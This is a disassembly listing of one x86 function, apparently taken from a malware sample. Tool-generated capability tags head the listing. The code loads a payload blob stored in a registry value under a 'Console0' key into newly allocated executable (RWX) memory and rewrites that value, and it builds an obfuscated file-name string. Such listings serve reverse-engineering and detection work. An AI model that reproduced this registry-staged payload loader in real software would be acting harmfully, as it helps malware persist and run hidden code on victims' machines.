Function at 0x4088d0
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa84
mov dword [ebp - 0xa84], ecx
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
cmp ecx, 0xc9
jne 0x4088f2
jmp 0x408d4b
cmp dword [ebp + 0xc], 0x65
jne 0x408be5
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
lea edx, [ebp - 0xc]
push edx
push 0x20019
push 0
push 0x424a24
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408a01
lea eax, [ebp - 4]
push eax
push 0
lea ecx, [ebp - 8]
push ecx
push 0
mov edx, dword [str.d33f351a4aeea5e608853d1a56661059]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 4], 0xa44
jbe 0x4089f7
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040e960
add esp, 4
mov dword [ebp - 0xa70], eax
mov edx, dword [ebp - 0xa70]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
push eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00410190
add esp, 0xc
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
mov edx, dword [str.d33f351a4aeea5e608853d1a56661059]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4089f7
push 0xa44
mov ecx, dword [ebp - 0x10]
push ecx
push 0x42d280
call fcn.0040f460
add esp, 0xc
push 0x40
push 0x3000
mov edx, dword [0x42d488]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x42dcc4], eax
mov eax, dword [0x42d488]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xa44
push ecx
mov edx, dword [0x42dcc4]
push edx
call fcn.0040f460
add esp, 0xc
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x42d48c
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
call fcn.00411e86
add esp, 8
test eax, eax
je 0x408bd5
cmp dword [0x42dcc4], 0
je 0x408a44
push 0x8000
push 0
mov edx, dword [0x42dcc4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x42dcc4], 0
mov dword [ebp - 0xa60], 0
mov eax, 0x767b
mov word [ebp - 0xa5c], ax
mov ecx, 0x5f55
mov word [ebp - 0xa5a], cx
mov edx, 0x6a21
mov word [ebp - 0xa58], dx
mov eax, 0x5757
mov word [ebp - 0xa56], ax
mov ecx, 0x2e
mov word [ebp - 0xa54], cx
mov edx, 0x64
mov word [ebp - 0xa52], dx
mov eax, 0x6c
mov word [ebp - 0xa50], ax
mov ecx, 0x6c
mov word [ebp - 0xa4e], cx
mov edx, 0x5f
mov word [ebp - 0xa4c], dx
mov eax, 0x62
mov word [ebp - 0xa4a], ax
mov ecx, 0x69
mov word [ebp - 0xa48], cx
mov edx, 0x6e
mov word [ebp - 0xa46], dx
xor eax, eax
mov word [ebp - 0xa44], ax
push 0x1e4
push 0
lea ecx, [ebp - 0xa42]
push ecx
call fcn.00410190
add esp, 0xc
xor edx, edx
mov word [ebp - 0x85e], dx
mov dword [ebp - 0x85c], 0
mov dword [ebp - 0x858], 0
push 0x64
push 0
lea eax, [ebp - 0x854]
push eax
call fcn.00410190
add esp, 0xc
push 0x7d0
push 0
lea ecx, [ebp - 0x7f0]
push ecx
call fcn.00410190
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x18], 0xa45
mov eax, dword [ebp - 0x18]
push eax
call fcn.0040e960
add esp, 4
mov dword [ebp - 0xa74], eax
mov ecx, dword [ebp - 0xa74]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
mov byte [edx], 5
mov eax, dword [ebp - 0x18]
sub eax, 1
push eax
lea ecx, [ebp - 0xa60]
push ecx
mov edx, dword [ebp - 0x14]
add edx, 1
push edx
call fcn.0040f460
add esp, 0xc
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0xa84]
call fcn.00404690
cmp dword [ebp - 0x14], 0
je 0x408bd3
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0xa78], edx
mov eax, dword [ebp - 0xa78]
push eax
call fcn.0040f3fb
add esp, 4
mov dword [ebp - 0x14], 0
jmp 0x408be0
mov ecx, dword [ebp - 0xa84]
call fcn.00408890
jmp 0x408d4b
push 0xa44
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
push 0x42d280
call fcn.0040f460
add esp, 0xc
push 0x40
push 0x3000
mov edx, dword [0x42d488]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x42dcc4], eax
mov eax, dword [0x42d488]
push eax
mov ecx, dword [ebp + 8]
add ecx, 0xa45
push ecx
mov edx, dword [0x42dcc4]
push edx
call fcn.0040f460
add esp, 0xc
mov eax, dword [0x42d488]
add eax, 0xa44
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa68]
push ecx
call fcn.0040e960
add esp, 4
mov dword [ebp - 0xa7c], eax
mov edx, dword [ebp - 0xa7c]
mov dword [ebp - 0xa64], edx
cmp dword [ebp - 0xa64], 0
je 0x408d12
push 0xa44
push 0x42d280
mov eax, dword [ebp - 0xa64]
push eax
call fcn.0040f460
add esp, 0xc
mov ecx, dword [0x42d488]
push ecx
mov edx, dword [0x42dcc4]
push edx
mov eax, dword [ebp - 0xa64]
add eax, 0xa44
push eax
call fcn.0040f460
add esp, 0xc
lea ecx, [ebp - 0xa6c]
push ecx
push str.Console0
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x408d05
mov edx, dword [str.d33f351a4aeea5e608853d1a56661059]
push edx
mov eax, dword [ebp - 0xa6c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [ebp - 0xa68]
push ecx
mov edx, dword [ebp - 0xa64]
push edx
push 3
push 0
mov eax, dword [str.d33f351a4aeea5e608853d1a56661059]
push eax
mov ecx, dword [ebp - 0xa6c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0xa6c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xa64], 0
je 0x408d40
mov eax, dword [ebp - 0xa64]
mov dword [ebp - 0xa80], eax
mov ecx, dword [ebp - 0xa80]
push ecx
call fcn.00410732
add esp, 4
mov dword [ebp - 0xa64], 0
mov ecx, dword [ebp - 0xa84]
call fcn.00408890
mov esp, ebp
pop ebp
ret 8